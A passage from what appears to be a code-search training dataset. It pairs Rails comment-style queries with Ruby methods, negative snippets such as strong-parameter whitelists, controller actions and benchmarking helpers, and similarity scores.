"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.78211915",
"0.7694526",
"0.75697404",
"0.7538551",
"0.74840546",
"0.73290986",
"0.7221993",
"0.71991456",
"0.7194215",
"0.71924263",
"0.7181636",
"0.7158854",
"0.7138231",
"0.69806784",
"0.69444287",
"0.69322556",
"0.6891749",
"0.6871409",
"0.6858749",
"0.6846834",
"0.6842672",
"0.6827032",
"0.6806029",
"0.68025863",
"0.67919874",
"0.67444694",
"0.6730133",
"0.6728875",
"0.67117393",
"0.6707392",
"0.67046165",
"0.66948825",
"0.66900986",
"0.66900986",
"0.6681119",
"0.6681119",
"0.6681119",
"0.6679575",
"0.6679575",
"0.6679575",
"0.6679575",
"0.66769534",
"0.66769534",
"0.66769534",
"0.66644675",
"0.66636354",
"0.6654297",
"0.66517353",
"0.6644748",
"0.6639348",
"0.6639348",
"0.6639348",
"0.6639348",
"0.6639348",
"0.66270846",
"0.66045505",
"0.65998316",
"0.65982634",
"0.6587704",
"0.6582576",
"0.6575281",
"0.6568254",
"0.65617585",
"0.65551865",
"0.65519613",
"0.6551694",
"0.654747",
"0.6545731",
"0.6545731",
"0.6545731",
"0.6545731",
"0.65444815",
"0.6529602",
"0.65294015",
"0.6528791",
"0.65269583",
"0.6520508",
"0.6515296",
"0.65110064",
"0.65059054",
"0.6501515",
"0.6501515",
"0.64926416",
"0.64901423",
"0.6488561",
"0.6486775",
"0.64867115",
"0.64839226",
"0.6481689",
"0.6479529",
"0.64787704",
"0.6472253",
"0.6468667",
"0.6464403",
"0.6459335",
"0.645427",
"0.64538187",
"0.64524806",
"0.64524806",
"0.64524806"
] | 0.76470304 | 2 |
Use callbacks to share common setup or constraints between actions. | def set_personal_info
@personal_info = PersonalInfo.find_by(users_id: session[:user_id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def personal_info_params
params.require(:personal_info).permit(:fathers_name, :mothers_name, :halls_id, :date_of_birth, :address, :phone_number, :genders_id, :users_id, :batches_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
This is used to get a rough approximation of the amount of time required to call action once. We do this so that we will be able to run the actual timing loop in chunks of iterations, rather than calling Process.clock_gettime in between every iteration. | def estimate_time_per_iteration(action, duration)
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
deadline = start_time + duration
iterations = 0
while Process.clock_gettime(Process::CLOCK_MONOTONIC) < deadline
action.call
iterations += 1
end
(Process.clock_gettime(Process::CLOCK_MONOTONIC) - start_time) / iterations
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def benchmark\n start_time = Time.now\n calculation = yield\n end_time = Time.now\n run_time = end_time - start_time\n run_time\nend",
"def bench(action, msg = nil)\n @t ||= Time.now\n @total ||= 0\n @step ||= 0\n case action\n when :start\n @step = 0\n @total = 0\n @t = Time.now\n when :step\n @step += 1\n int = Time.now - @t\n @total += int\n @t = Time.now\n dbg(\"Benchmark #{msg.nil? ? (\"%02d\" % @step) : msg}: #{\"%8.3fms\" % (int * 1000)} (Total: #{\"%8.3fms\" % (@total * 1000)}).\")\n end\nend",
"def time_this &block\n _time_this_starting = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n block.call\n Process.clock_gettime(Process::CLOCK_MONOTONIC) - _time_this_starting\nend",
"def benchmark\n start_time = Time.now\n yield\n end_time = Time.now\n running_time = end_time - start_time\nend",
"def time_request\n time do\n do_request\n end\n end",
"def run_time\n ((Time.now - start_time) * 1000).round\n end",
"def timed_run(&block)\n time = Benchmark.measure do\n block.call\n end\n puts time\nend",
"def time_request\n\t\tstarttimes = Process.times\n\t\tyield\n\tensure\n\t\truntimes = Process.times\n\t\t@run_count += 1\n\t\t@total_utime += utime = (runtimes.utime - starttimes.utime)\n\t\t@total_stime += stime = (runtimes.stime - starttimes.stime)\n\t\tself.log.info \\\n\t\t\t\"[PID %d] Runcount: %d, User: %0.2f/%0.2f, System: %0.2f/%0.2f\" %\n\t\t\t[ Process.pid, @run_count, utime, @total_utime, stime, @total_stime ]\n\tend",
"def benchmark\n t1 = Time.now\n output = yield\n [\"#{(Time.now - t1) * 1000}ms\", output]\nend",
"def benchmark\n start = Time.now\n yield\n p Time.now - start\nend",
"def total_time=(_arg0); end",
"def time(count = 1000, &block)\n start = Time.now\n 1000.times { yield }\n end_time = Time.now\n puts (end_time - start) * 1000\nend",
"def time(times = 1)\n require 'benchmark'\n ret = nil\n Benchmark.bm { |x| x.report { times.times { ret = yield } } }\n ret\nend",
"def when_to_run\n time - @@REMINDER_TIME\n end",
"def test_120_tasks_every_second_with_ms_task\n min_time = 1\n rl = @testClass.new 120, min_time\n delta = timed_run(rl) { sleep 0.001 }\n # puts \"\\n#{delta} >? #{min_time}\"\n assert((delta / min_time) > TIMING_TOLERANCE)\n end",
"def benchmark\n start_time = Time.now\n result = yield\n end_time = Time.now\n benchmark = end_time - start_time\nend",
"def measure (n=1)\n cnt=0\nelapsed_time=Time.now\n\nn.times {\n cnt+=1\n yield} \nelapsed_time=(Time.now-elapsed_time)/cnt\n\nend",
"def cstime=(*) end",
"def time\n start = Time.now.to_f\n yield\n puts \"Computation time is:\\n\"\n puts Time.now.to_f - start\n end",
"def benchmark\n start_time = Time.now\n yield\n end_time = Time.now\n end_time - start_time\n\n # Your benchmarking code goes here.\nend",
"def time_operation(&block)\n start = Time.now.to_ms\n yield\n Time.now.to_ms - start\n end",
